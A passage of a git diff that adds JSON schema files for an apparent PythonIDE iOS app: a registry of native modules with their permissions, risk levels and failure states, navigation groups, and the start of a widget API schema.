"notification-module-agent", + "agentDocFile": "notification-module-agent.md", + "capabilities": [ + "local_notifications", + "badges", + "scheduled_alerts" + ], + "permissions": [ + "notifications" + ], + "risk": "system_write", + "requiresUserAction": true, + "failureStates": [ + "denied", + "scheduled_conflict" + ], + "kind": "module", + "presentation": "api" + }, + "calendar_events": { + "importName": "calendar_events", + "category": "systemServices", + "docId": "calendar-events-module", + "docFile": "calendar-events-module.md", + "agentDocId": "calendar-events-module-agent", + "agentDocFile": "calendar-events-module-agent.md", + "capabilities": [ + "calendar_read", + "calendar_write", + "reminders" + ], + "permissions": [ + "calendar", + "reminders" + ], + "risk": "permissioned_write", + "requiresUserAction": true, + "failureStates": [ + "denied", + "cancelled", + "not_found" + ], + "kind": "module", + "presentation": "system_picker" + }, + "contacts": { + "importName": "contacts", + "category": "systemServices", + "docId": "contacts-module", + "docFile": "contacts-module.md", + "agentDocId": "contacts-module-agent", + "agentDocFile": "contacts-module-agent.md", + "capabilities": [ + "contacts_read", + "contacts_picker", + "contacts_edit" + ], + "permissions": [ + "contacts" + ], + "risk": "sensitive_read_write", + "requiresUserAction": true, + "failureStates": [ + "denied", + "cancelled", + "not_found" + ], + "kind": "module", + "presentation": "system_picker" + }, + "live_activity": { + "importName": "live_activity", + "category": "systemServices", + "docId": "live-activity-module", + "docFile": "live-activity-module.md", + "agentDocId": "live-activity-module-agent", + "agentDocFile": "live-activity-module-agent.md", + "capabilities": [ + "dynamic_island", + "lock_screen_activity" + ], + "permissions": [], + "risk": "system_write", + "requiresUserAction": true, + "failureStates": [ + "unsupported", + "activity_not_found" + ], + "kind": "module", + "presentation": "api" + }, + "nfc": { + "importName": "nfc", + "category": "systemServices", + "docId": "nfc-module", + "docFile": "nfc-module.md", + "agentDocId": "nfc-module-agent", + "agentDocFile": "nfc-module-agent.md", + "capabilities": [ + "ndef_scan", + "ndef_write" + ], + "permissions": [ + "nfc" + ], + "risk": "hardware_session", + "requiresUserAction": true, + "failureStates": [ + "unsupported", + "cancelled", + "scan_failed" + ], + "kind": "module", + "presentation": "system_picker" + }, + "photos": { + "importName": "photos", + "category": "mediaVision", + "docId": "photos-module", + "docFile": "photos-module.md", + "agentDocId": "photos-module-agent", + "agentDocFile": "photos-module-agent.md", + "capabilities": [ + "photo_picker", + "camera_capture", + "photo_save", + "video_save", + "asset_read" + ], + "permissions": [ + "photos", + "camera" + ], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": [ + "denied", + "cancelled", + "empty", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "avplayer": { + "importName": "avplayer", + "category": "mediaVision", + "docId": "avplayer-module", + "docFile": "avplayer-module.md", + "agentDocId": "avplayer-module-agent", + "agentDocFile": "avplayer-module-agent.md", + "capabilities": [ + "audio_video_load", + "playback_control", + "native_player" + ], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": [ + "load_failed", + "unsupported_url" + ], + "kind": "module", + "presentation": "api" + }, + "music_player": { + "importName": "music_player", + "category": "mediaVision", + "docId": "music-player-module", + "docFile": "music-player-module.md", + "agentDocId": "music-player-module-agent", + "agentDocFile": "music-player-module-agent.md", + "capabilities": [ + "music_queue", + "playback_control", + "play_mode", + "now_playing_metadata", + "remote_commands", + "playback_restore", + "progress_events", + "queue_preload", + "preload_events" + ], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": [ + "invalid_song", + "unsupported_url", + "load_failed", + "playback_failed", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "sound": { + "importName": "sound", + "category": "mediaVision", + "docId": "sound-module", + "docFile": "sound-module.md", + "agentDocId": "sound-module-agent", + "agentDocFile": "sound-module-agent.md", + "capabilities": [ + "sound_effects", + "audio_player" + ], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": [ + "load_failed", + "unsupported_format" + ], + "kind": "module", + "presentation": "api" + }, + "speech": { + "importName": "speech", + "category": "mediaVision", + "docId": "speech-module", + "docFile": "speech-module.md", + "agentDocId": "speech-module-agent", + "agentDocFile": "speech-module-agent.md", + "capabilities": [ + "text_to_speech", + "voice_listing" + ], + "permissions": [ + "speech" + ], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "voice_not_found" + ], + "kind": "module", + "presentation": "api" + }, + "audio_recorder": { + "importName": "audio_recorder", + "category": "mediaVision", + "docId": "audio-recorder-module", + "docFile": "audio-recorder-module.md", + "agentDocId": "audio-recorder-module-agent", + "agentDocFile": "audio-recorder-module-agent.md", + "capabilities": [ + "microphone_capture", + "recording_control", + "level_metering" + ], + "permissions": [ + "microphone" + ], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": [ + "denied", + "already_recording", + "start_failed", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "speech_recognition": { + "importName": "speech_recognition", + "category": "mediaVision", + "docId": "speech-recognition-module", + "docFile": "speech-recognition-module.md", + "agentDocId": "speech-recognition-module-agent", + "agentDocFile": "speech-recognition-module-agent.md", + "capabilities": [ + "live_transcription", + "file_transcription", + "locale_listing" + ], + "permissions": [ + "speech", + "microphone" + ], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": [ + "denied", + "unavailable", + "already_listening", + "recognition_failed" + ], + "kind": "module", + "presentation": "api" + }, + "qrcode": { + "importName": "qrcode", + "category": "mediaVision", + "docId": "qrcode-module", + "docFile": "qrcode-module.md", + "agentDocId": "qrcode-module-agent", + "agentDocFile": "qrcode-module-agent.md", + "capabilities": [ + "qr_generation", + "png_export" + ], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": [ + "encode_failed", + "invalid_input" + ], + "kind": "module", + "presentation": "api" + }, + "pdf": { + "importName": "pdf", + "category": "mediaVision", + "docId": "pdf-module", + "docFile": "pdf-module.md", + "agentDocId": "pdf-module-agent", + "agentDocFile": "pdf-module-agent.md", + "capabilities": [ + "pdf_creation", + "text_extraction", + "page_rendering", + "quicklook_preview" + ], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": true, + "failureStates": [ + "invalid_path", + "load_failed", + "render_failed" + ], + "kind": "module", + "presentation": "api" + }, + "weather": { + "importName": "weather", + "category": "networkData", + "docId": "weather-module", + "docFile": "weather-module.md", + "agentDocId": "weather-module-agent", + "agentDocFile": "weather-module-agent.md", + "capabilities": [ + "current_conditions", + "daily_forecast", + "hourly_forecast" + ], + "permissions": [ + "location" + ], + "risk": "network", + "requiresUserAction": true, + "failureStates": [ + "denied", + "unavailable", + "network_error" + ], + "kind": "module", + "presentation": "api" + }, + "mail": { + "importName": "mail", + "category": "systemServices", + "docId": "mail-module", + "docFile": "mail-module.md", + "agentDocId": "mail-module-agent", + "agentDocFile": "mail-module-agent.md", + "capabilities": [ + "mail_compose", + "attachment_send" + ], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "cancelled", + "failed" + ], + "kind": "module", + "presentation": "compose_sheet" + }, + "message": { + "importName": "message", + "category": "systemServices", + "docId": "message-module", + "docFile": "message-module.md", + "agentDocId": "message-module-agent", + "agentDocFile": "message-module-agent.md", + "capabilities": [ + "sms_compose", + "imessage_compose" + ], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "cancelled", + "failed" + ], + "kind": "module", + "presentation": "compose_sheet" + }, + "translation": { + "importName": "translation", + "category": "systemServices", + "docId": "translation-module", + "docFile": "translation-module.md", + "agentDocId": "translation-module-agent", + "agentDocFile": "translation-module-agent.md", + "capabilities": [ + "on_device_translation", + "language_listing" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "unavailable", + "invalid_input", + "timeout" + ], + "kind": "module", + "presentation": "api" + }, + "music": { + "importName": "music", + "category": "mediaVision", + "docId": "music-module", + "docFile": "music-module.md", + "agentDocId": "music-module-agent", + "agentDocFile": "music-module-agent.md", + "capabilities": [ + "music_playback", + "catalog_search" + ], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": [ + "denied", + "unavailable", + "timeout", + "empty_queue", + "not_found", + "subscription_required", + "playback_failed", + "invalid_input" + ], + "kind": "module", + "presentation": "api" + }, + "shazam": { + "importName": "shazam", + "category": "mediaVision", + "docId": "shazam-module", + "docFile": "shazam-module.md", + "agentDocId": "shazam-module-agent", + "agentDocFile": "shazam-module-agent.md", + "capabilities": [ + "music_identification", + "microphone_recognition", + "file_recognition" + ], + "permissions": [ + "microphone" + ], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": [ + "denied", + "unavailable", + "no_match", + "timeout", + "shazamkit_auth", + "already_recognizing", + "cancelled", + "invalid_input", + "network_error" + ], + "kind": "module", + "presentation": "api" + }, + "now_playing": { + "importName": "now_playing", + "category": "mediaVision", + "docId": "now-playing-module", + "docFile": "now-playing-module.md", + "agentDocId": "now-playing-module-agent", + "agentDocFile": "now-playing-module-agent.md", + "capabilities": [ + "now_playing_metadata", + "playback_progress" + ], + "permissions": [], + "risk": "system_write", + "requiresUserAction": false, + "failureStates": [ + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "vision": { + "importName": "vision", + "category": "mediaVision", + "docId": "vision-module", + "docFile": "vision-module.md", + "agentDocId": "vision-module-agent", + "agentDocFile": "vision-module-agent.md", + "capabilities": [ + "ocr" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "empty_image", + "recognition_failed" + ], + "kind": "module", + "presentation": "api" + }, + "vision_helper": { + "importName": "vision_helper", + "category": "mediaVision", + "docId": "vision-helper-module", + "docFile": "vision-helper-module.md", + "agentDocId": "vision-helper-module-agent", + "agentDocFile": "vision-helper-module-agent.md", + "capabilities": [ + "face_detection", + "barcode_detection", + "rectangle_detection", + "classification" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "empty_image", + "recognition_failed" + ], + "kind": "module", + "presentation": "api" + }, + "coreml": { + "importName": "coreml", + "category": "mediaVision", + "docId": "coreml-module", + "docFile": "coreml-module.md", + "agentDocId": "coreml-module-agent", + "agentDocFile": "coreml-module-agent.md", + "capabilities": [ + "model_listing", + "model_loading", + "image_prediction" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "model_not_found", + "prediction_failed" + ], + "kind": "module", + "presentation": "api" + }, + "network": { + "importName": "network", + "category": "networkData", + "docId": "network-module", + "docFile": "network-module.md", + "agentDocId": "network-module-agent", + "agentDocFile": "network-module-agent.md", + "capabilities": [ + "http", + "download", + "connectivity" + ], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": [ + "offline", + "timeout", + "http_error" + ], + "kind": "module", + "presentation": "api" + }, + "websocket": { + "importName": "websocket", + "category": "networkData", + "docId": "websocket-module", + "docFile": "websocket-module.md", + "agentDocId": "websocket-module-agent", + "agentDocFile": "websocket-module-agent.md", + "capabilities": [ + "websocket_connect", + "send", + "receive", + "close" + ], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": [ + "offline", + "timeout", + "closed" + ], + "kind": "module", + "presentation": "api" + }, + "bluetooth": { + "importName": "bluetooth", + "category": "networkData", + "docId": "bluetooth-module", + "docFile": "bluetooth-module.md", + "agentDocId": "bluetooth-module-agent", + "agentDocFile": "bluetooth-module-agent.md", + "capabilities": [ + "ble_scan", + "ble_connect", + "read", + "write" + ], + "permissions": [ + "bluetooth" + ], + "risk": "hardware_session", + "requiresUserAction": true, + "failureStates": [ + "unsupported", + "denied", + "not_found", + "disconnected" + ], + "kind": "module", + "presentation": "api" + }, + "background": { + "importName": "background", + "category": "networkData", + "docId": "background-module", + "docFile": "background-module.md", + "agentDocId": "background-module-agent", + "agentDocFile": "background-module-agent.md", + "capabilities": [ + "background_task", + "remaining_time", + "app_state" + ], + "permissions": [], + "risk": "background_execution", + "requiresUserAction": true, + "failureStates": [ + "expired", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "c_extensions": { + "importName": null, + "category": "networkData", + "docId": "c-extensions-module", + "docFile": "c-extensions-module.md", + "agentDocId": "c-extensions-module-agent", + "agentDocFile": "c-extensions-module-agent.md", + "capabilities": [ + "bundled_extension_inventory", + "ios_compatibility_guidance" + ], + "permissions": [], + "risk": "reference_only", + "requiresUserAction": false, + "failureStates": [ + "unsupported_package" + ], + "kind": "reference", + "presentation": "reference" + }, + "shortcuts": { + "importName": "shortcuts", + "category": "automationExtensions", + "docId": "shortcuts-module", + "docFile": "shortcuts-module.md", + "agentDocId": "shortcuts-module-agent", + "agentDocFile": "shortcuts-module-agent.md", + "capabilities": [ + "run_shortcut", + "open_url", + "open_settings" + ], + "permissions": [], + "risk": "external_automation", + "requiresUserAction": true, + "failureStates": [ + "cancelled", + "shortcut_not_found", + "url_failed" + ], + "kind": "module", + "presentation": "api" + }, + "objc_util": { + "importName": "objc_util", + "category": "automationExtensions", + "docId": "objc-util-module", + "docFile": "objc-util-module.md", + "agentDocId": "objc-util-module-agent", + "agentDocFile": "objc-util-module-agent.md", + "capabilities": [ + "objective_c_runtime", + "system_framework_access" + ], + "permissions": [], + "risk": "advanced_runtime", + "requiresUserAction": false, + "failureStates": [ + "selector_missing", + "framework_unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "keyboard": { + "importName": "keyboard", + "category": "automationExtensions", + "docId": "keyboard-module", + "docFile": "keyboard-module.md", + "agentDocId": "keyboard-module-agent", + "agentDocFile": "keyboard-module-agent.md", + "capabilities": [ + "toolbar_buttons", + "insert_text", + "set_buttons" + ], + "permissions": [], + "risk": "editor_integration", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "invalid_button" + ], + "kind": "module", + "presentation": "api" + }, + "http_server": { + "importName": "http_server", + "category": "networkData", + "docId": "http-server-module", + "docFile": "http-server-module.md", + "agentDocId": "http-server-module-agent", + "agentDocFile": "http-server-module-agent.md", + "capabilities": [ + "local_http_server", + "file_serving" + ], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": [ + "port_in_use", + "invalid_path", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "ssh": { + "importName": "ssh", + "category": "networkData", + "docId": "ssh-module", + "docFile": "ssh-module.md", + "agentDocId": "ssh-module-agent", + "agentDocFile": "ssh-module-agent.md", + "capabilities": [ + "ssh_exec", + "sftp_upload", + "sftp_download" + ], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": [ + "auth_failed", + "timeout", + "disconnected" + ], + "kind": "module", + "presentation": "api" + }, + "background_download": { + "importName": "background_download", + "category": "networkData", + "docId": "background-download-module", + "docFile": "background-download-module.md", + "agentDocId": "background-download-module-agent", + "agentDocFile": "background-download-module-agent.md", + "capabilities": [ + "background_download", + "download_progress" + ], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": [ + "network_error", + "cancelled", + "invalid_input" + ], + "kind": "module", + "presentation": "api" + }, + "ble_peripheral": { + "importName": "ble_peripheral", + "category": "networkData", + "docId": "ble-peripheral-module", + "docFile": "ble-peripheral-module.md", + "agentDocId": "ble-peripheral-module-agent", + "agentDocFile": "ble-peripheral-module-agent.md", + "capabilities": [ + "ble_peripheral_advertising", + "ble_characteristic_update" + ], + "permissions": [], + "risk": "bluetooth", + "requiresUserAction": false, + "failureStates": [ + "unavailable", + "invalid_input", + "powered_off" + ], + "kind": "module", + "presentation": "api" + }, + "video_recorder": { + "importName": "video_recorder", + "category": "mediaVision", + "docId": "video-recorder-module", + "docFile": "video-recorder-module.md", + "agentDocId": "video-recorder-module-agent", + "agentDocFile": "video-recorder-module-agent.md", + "capabilities": [ + "video_recording" + ], + "permissions": [ + "camera" + ], + "risk": "media_capture", + "requiresUserAction": true, + "failureStates": [ + "denied", + "already_recording", + "unavailable" + ], + "kind": "module", + "presentation": "api" + }, + "media_composer": { + "importName": "media_composer", + "category": "mediaVision", + "docId": "media-composer-module", + "docFile": "media-composer-module.md", + "agentDocId": "media-composer-module-agent", + "agentDocFile": "media-composer-module-agent.md", + "capabilities": [ + "video_merge", + "audio_mux", + "media_export" + ], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": [ + "invalid_path", + "export_failed", + "compose_failed" + ], + "kind": "module", + "presentation": "api" + }, + "audio_session": { + "importName": "audio_session", + "category": "mediaVision", + "docId": "audio-session-module", + "docFile": "audio-session-module.md", + "agentDocId": "audio-session-module-agent", + "agentDocFile": "audio-session-module-agent.md", + "capabilities": [ + "audio_session_category", + "audio_route_query" + ], + "permissions": [], + "risk": "system_write", + "requiresUserAction": false, + "failureStates": [ + "session_conflict", + "invalid_input" + ], + "kind": "module", + "presentation": "api" + }, + "storekit": { + "importName": "storekit", + "category": "systemServices", + "docId": "storekit-module", + "docFile": "storekit-module.md", + "agentDocId": "storekit-module-agent", + "agentDocFile": "storekit-module-agent.md", + "capabilities": [ + "iap_purchase", + "subscription_status", + "product_catalog" + ], + "permissions": [], + "risk": "monetization", + "requiresUserAction": true, + "failureStates": [ + "cancelled", + "not_found", + "verification_failed", + "timeout" + ], + "kind": "module", + "presentation": "api" + }, + "font_picker": { + "importName": "font_picker", + "category": "systemServices", + "docId": "font-picker-module", + "docFile": "font-picker-module.md", + "agentDocId": "font-picker-module-agent", + "agentDocFile": "font-picker-module-agent.md", + "capabilities": [ + "font_picker_ui" + ], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": [ + "cancelled", + "unavailable" + ], + "kind": "module", + "presentation": "blocking_sheet" + }, + "alarm": { + "importName": "alarm", + "category": "systemServices", + "docId": "alarm-module", + "docFile": "alarm-module.md", + "agentDocId": "alarm-module-agent", + "agentDocFile": "alarm-module-agent.md", + "capabilities": [ + "alarm_schedule", + "alarm_cancel" + ], + "permissions": [], + "risk": "system_write", + "requiresUserAction": true, + "failureStates": [ + "unavailable", + "denied", + "invalid_input" + ], + "kind": "module", + "presentation": "api" + }, + "foundation_models": { + "importName": "foundation_models", + "category": "systemServices", + "docId": "foundation-models-module", + "docFile": "foundation-models-module.md", + "agentDocId": "foundation-models-module-agent", + "agentDocFile": "foundation-models-module-agent.md", + "capabilities": [ + "on_device_generation", + "summarization", + "error_explanation" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "unavailable", + "timeout", + "context_exceeded" + ], + "kind": "module", + "presentation": "api" + }, + "assistant": { + "importName": "assistant", + "category": "systemServices", + "docId": "assistant-module", + "docFile": "assistant-module.md", + "agentDocId": "assistant-module-agent", + "agentDocFile": "assistant-module-agent.md", + "capabilities": [ + "assistant_tools", + "device_context_answers" + ], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": [ + "unavailable", + "timeout", + "context_exceeded" + ], + "kind": "module", + "presentation": "api" + } + }, + "entryKinds": [ + "module", + "appui_bridge", + "topic", + "reference", + "runtime" + ], + "presentations": [ + "api", + "blocking_sheet", + "compose_sheet", + "system_picker", + "reference", + "appui_component" + ], + "appuiBridges": { + "photo_picker": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "PhotoPicker", + "primaryEntry": "appui", + "docId": "photos-module", + "anchor": "appui-photo-picker", + "relatedModules": [ + "photos" + ], + "category": "mediaVision", + "summary": "Inline Photos library picker inside AppUI forms." + }, + "camera_picker": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "CameraPicker", + "primaryEntry": "appui", + "docId": "camera-module", + "anchor": "appui-camera-picker", + "relatedModules": [ + "photos" + ], + "category": "mediaVision", + "summary": "Inline camera capture control for AppUI screens." + }, + "file_importer": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "FileImporter", + "primaryEntry": "appui", + "docId": "file-picker-module", + "anchor": "file-importer", + "relatedModules": [], + "category": "systemServices", + "summary": "UIDocumentPicker bridge for arbitrary files in AppUI." + }, + "share_link": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "ShareLink", + "primaryEntry": "appui", + "docId": "share-module", + "anchor": "share-link", + "relatedModules": [], + "category": "systemServices", + "summary": "System share sheet via AppUI ShareLink." + }, + "map_view": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "MapView", + "primaryEntry": "appui", + "docId": "location-module", + "anchor": "map-view", + "relatedModules": [ + "location", + "permission" + ], + "category": "deviceSensors", + "summary": "MapKit-backed map view for AppUI location workflows." + }, + "web_view": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "WebView", + "primaryEntry": "appui", + "docId": "appui-ref-media", + "anchor": "webview", + "relatedModules": [], + "category": "mediaVision", + "summary": "Inline HTML/Web content in AppUI." + }, + "video_player": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "VideoPlayer", + "primaryEntry": "appui", + "docId": "appui-ref-media", + "anchor": "video-player", + "relatedModules": [ + "avplayer" + ], + "category": "mediaVision", + "summary": "Embedded AVPlayer view for AppUI; prefer over avplayer module in MiniApps." + }, + "player_controller": { + "kind": "appui_bridge", + "presentation": "appui_component", + "appuiComponent": "PlayerController", + "primaryEntry": "appui", + "docId": "appui-ref-media", + "anchor": "player-controller", + "relatedModules": [ + "avplayer" + ], + "category": "mediaVision", + "summary": "Playback controller paired with VideoPlayer in AppUI." + } + }, + "topics": { + "camera": { + "kind": "topic", + "docId": "camera-module", + "docFile": "camera-module.md", + "primaryEntry": "photos", + "importName": "photos", + "appuiBridge": "camera_picker", + "relatedModules": [ + "photos", + "permission" + ], + "category": "mediaVision", + "summary": "Camera capture via photos.capture_image or AppUI CameraPicker." + }, + "file_picker": { + "kind": "topic", + "docId": "file-picker-module", + "docFile": "file-picker-module.md", + "primaryEntry": "appui", + "appuiBridge": "file_importer", + "relatedModules": [], + "category": "systemServices", + "summary": "File selection has no import module; use AppUI FileImporter." + }, + "share": { + "kind": "topic", + "docId": "share-module", + "docFile": "share-module.md", + "primaryEntry": "appui", + "appuiBridge": "share_link", + "relatedModules": [], + "category": "systemServices", + "summary": "System share sheet has no import module; use AppUI ShareLink." + } + }, + "runtimes": { + "appui": { + "kind": "runtime", + "docId": "appui-module", + "importName": "appui", + "summary": "Declarative MiniApp UI runtime." + }, + "scene": { + "kind": "runtime", + "docId": "scene-module", + "importName": "scene", + "summary": "SpriteKit scene runtime for games and animations." + }, + "widget": { + "kind": "runtime", + "docId": "widget-module", + "importName": "widget", + "summary": "WidgetKit timeline runtime." + }, + "ui": { + "kind": "runtime", + "docId": "ui-module", + "importName": "ui", + "summary": "UIKit bridge runtime." + }, + "aurora_system": { + "kind": "runtime", + "docId": "aurora-system", + "importName": "aurora_system", + "summary": "Aurora system graphics runtime." + }, + "aurora_toolkit": { + "kind": "runtime", + "docId": "aurora-toolkit", + "importName": "aurora_toolkit", + "summary": "Aurora toolkit helpers." + }, + "turtle": { + "kind": "runtime", + "docId": "turtle-module", + "importName": "turtle", + "summary": "Turtle graphics runtime." + } + }, + "navigation": { + "iosNative": { + "collectionId": "ios-native", + "groups": [ + { + "id": "quickstart", + "title": "快速上手", + "items": [ + "ios-native" + ] + }, + { + "id": "foundation", + "title": "基础与权限", + "items": [ + "permission-module", + "storage-module", + "database-module", + "keychain-module", + "clipboard-module", + "console-module", + "dialogs-module" + ] + }, + { + "id": "device-sensors", + "title": "设备与传感器", + "items": [ + "device-module", + "location-module", + "motion-module", + "haptics-module", + "biometric-module", + "health-module" + ] + }, + { + "id": "ui-system", + "title": "界面与系统", + "items": [ + "file-picker-module", + "share-module", + "font-picker-module", + "notification-module", + "live-activity-module", + "contacts-module", + "calendar-events-module" + ] + }, + { + "id": "media", + "title": "媒体", + "subsections": [ + { + "title": "采集", + "items": [ + "photos-module", + "camera-module", + "video-recorder-module", + "audio-recorder-module" + ] + }, + { + "title": "播放", + "items": [ + "sound-module", + "avplayer-module", + "music-player-module", + "music-module", + "now-playing-module", + "audio-session-module" + ] + }, + { + "title": "语音", + "items": [ + "speech-module", + "speech-recognition-module", + "shazam-module" + ] + }, + { + "title": "合成", + "items": [ + "media-composer-module" + ] + } + ] + }, + { + "id": "vision-docs", + "title": "视觉与文档", + "items": [ + "vision-module", + "vision-helper-module", + "coreml-module", + "qrcode-module", + "pdf-module" + ] + }, + { + "id": "connectivity", + "title": "连接与后台", + "subsections": [ + { + "title": "联网", + "items": [ + "network-module", + "websocket-module", + "weather-module" + ] + }, + { + "title": "近场", + "items": [ + "bluetooth-module", + "ble-peripheral-module" + ] + }, + { + "title": "后台", + "items": [ + "background-module", + "background-download-module" + ] + }, + { + "title": "本地服务", + "items": [ + "http-server-module", + "ssh-module" + ] + } + ] + }, + { + "id": "comms-ai", + "title": "通信与智能", + "items": [ + "mail-module", + "message-module", + "translation-module", + "nfc-module", + "alarm-module", + "storekit-module", + "foundation-models-module", + "assistant-module" + ] + } + ] + }, + "automationExtension": { + "collectionId": "automation-extension", + "groups": [ + { + "id": "quickstart", + "title": "快速上手", + "items": [ + "shortcuts-guide", + "js-api" + ] + }, + { + "id": "modules", + "title": "模块", + "items": [ + "shortcuts-module", + "keyboard-module", + "objc-util-module", + "c-extensions-module" + ] + }, + { + "id": "reference", + "title": "参考", + "items": [ + "modules-index", + "miniapp-native-capabilities" + ] + } + ] + } + }, + "docAliases": { + "vision.md": "vision-module.md", + "vision-helper.md": "vision-helper-module.md", + "objc-util.md": "objc-util-module.md" + } +} diff --git a/docs/schemas/widget_api_schema.json b/docs/schemas/widget_api_schema.json new file mode 100644 index 0000000..eccba79 --- /dev/null +++ b/docs/schemas/widget_api_schema.json @@ -0,0 +1,1974 @@ +{ + "schema": "pythonide.widget.api.v1", + "version": 1, + "module": "widget", + "status": "public", + "description": "PythonIDE Widget public API. Write one Widget() script with documented primitives, parameters, state actions, timeline entries, and render().", + "preferredEntrypoint": "Widget", + "families": [ + "small", + "medium", + "large", + "circular", + "rectangular", + "inline" + ], + "accessoryFamilies": [ + "circular", + "rectangular", + "inline" + ], + "types": { + "ColorLike": "string color, [lightColor, darkColor], or widget.color.fixed/adaptive/role object", + "WidgetBackground": "system, clear/transparent/none, ColorLike, or {'gradient': [color, color], 'direction': string}", + "Frame": "dictionary with width, height, minWidth, maxWidth, minHeight, maxHeight, alignment", + "NumberList": "list[int|float]", + "Family": "small|medium|large|circular|rectangular|inline", + "LayoutMode": "auto|fixed", + "RichTextPart": "string, (text, color[, weight[, size]]), or {text/content, color, weight, size, design}", + "PathPoint": "(x, y), [x, y], or {'x': x, 'y': y}; relative 0..1 by default" + }, + "moduleApi": { + "constants": { + "SMALL": { + "type": "Family", + "value": "small", + "public": true + }, + "MEDIUM": { + "type": "Family", + "value": "medium", + "public": true + }, + "LARGE": { + "type": "Family", + "value": "large", + "public": true + }, + "CIRCULAR": { + "type": "Family", + "value": "circular", + "public": true + }, + "RECTANGULAR": { + "type": "Family", + "value": "rectangular", + "public": true + }, + "INLINE": { + "type": "Family", + "value": "inline", + "public": true + } + }, + "runtimeValues": { + "family": { + "type": "Family", + "public": true + }, + "storage": { + "type": "object", + "public": true + }, + "color": { + "type": "WidgetColorHelper", + "public": true, + "description": "Structured colors: color.fixed(value), color.adaptive(light, dark), color.role(name)." + }, + "context": { + "type": "WidgetContext", + "public": true, + "description": "Current WidgetKit family and canvas size context." + }, + "entry": { + "type": "WidgetTimelineEntry", + "public": true, + "description": "Current WidgetKit timeline entry fields for native data-update animations." + }, + "param": { + "type": "object", + "public": true, + "description": "Studio-editable widget parameter declarations." + }, + "state": { + "type": "WidgetState", + "public": true, + "description": "StateRef factory. Use widget.state.int/bool/str/list and pass generated actions to button/toggle." + }, + "action": { + "type": "WidgetActionHelper", + "public": true, + "description": "Native widget AppIntent action helpers for safe state updates, refresh, and app/deep-link actions." + } + }, + "functions": { + "save_image": { + "public": true, + "parameters": [ + { + "name": "source", + "type": "file path|http(s) URL|bytes", + "required": true + }, + { + "name": "name", + "type": "str", + "required": true + } + ], + "returns": "str" + }, + "family_value": { + "public": true, + "parameters": [ + { + "name": "default", + "type": "Any" + }, + { + "name": "**values", + "type": "dict[Family|alias, Any]" + } + ], + "returns": "Any" + }, + "history": { + "public": true, + "parameters": [ + { + "name": "key", + "type": "str", + "required": true + }, + { + "name": "value", + "type": "Any" + }, + { + "name": "limit", + "type": "int", + "default": 7 + }, + { + "name": "bucket", + "type": "str|null", + "keywordOnly": true, + "default": "day" + }, + { + "name": "default", + "type": "Any", + "keywordOnly": true + } + ], + "returns": "list|Any" + }, + "cache_json": { + "public": true, + "parameters": [ + { + "name": "url", + "type": "str", + "required": true + }, + { + "name": "ttl", + "type": "float|null", + "keywordOnly": true, + "default": 3600 + }, + { + "name": "default", + "type": "Any", + "keywordOnly": true + }, + { + "name": "params", + "type": "dict|null", + "keywordOnly": true + }, + { + "name": "headers", + "type": "dict[str,str]|null", + "keywordOnly": true + }, + { + "name": "key", + "type": "str|null", + "keywordOnly": true + }, + { + "name": "timeout", + "type": "float", + "keywordOnly": true, + "default": 8 + } + ], + "returns": "Any" + } + } + }, + "classes": { + "Widget": { + "public": true, + "constructor": { + "parameters": [ + { + "name": "background", + "type": "WidgetBackground|null" + }, + { + "name": "padding", + "type": "float|null" + }, + { + "name": "style", + "type": "str|null", + "keywordOnly": true, + "status": "public" + } + ] + }, + "methods": { + "title": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "caption": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "body": { + "node": "text", + "status": "public", + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "value": { + "node": "content", + "status": "public", + "parameters": [ + { + "name": "value", + "type": "str|int|float|StateRef", + "required": true + }, + { + "name": "unit", + 